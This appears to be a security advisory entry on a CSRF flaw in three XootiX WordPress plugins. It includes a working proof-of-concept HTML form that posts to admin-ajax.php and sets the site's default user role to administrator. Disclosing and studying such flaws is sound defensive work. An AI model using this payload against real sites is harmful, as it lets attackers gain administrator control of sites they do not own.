XootiX Plugins - Various Versions CSRF to Arbitrary Options Update

2022-01-1300:00:00

Chloe Chamberland

0.005 Low

EPSS

Percentile

76.2%

JSON

The plugins Login/Signup Popup, Side Cart Woocommerce, and Waitlist Woocommerce are all vulnerable to cross-site request forgery due to a missing nonce check that would make it possible for attackers to update arbitrary options on a vulnerable WordPress site.

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="form" value="default&#95;role&#61;administrator" />
      <input type="hidden" name="action" value="xoo&#95;admin&#95;settings&#95;save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>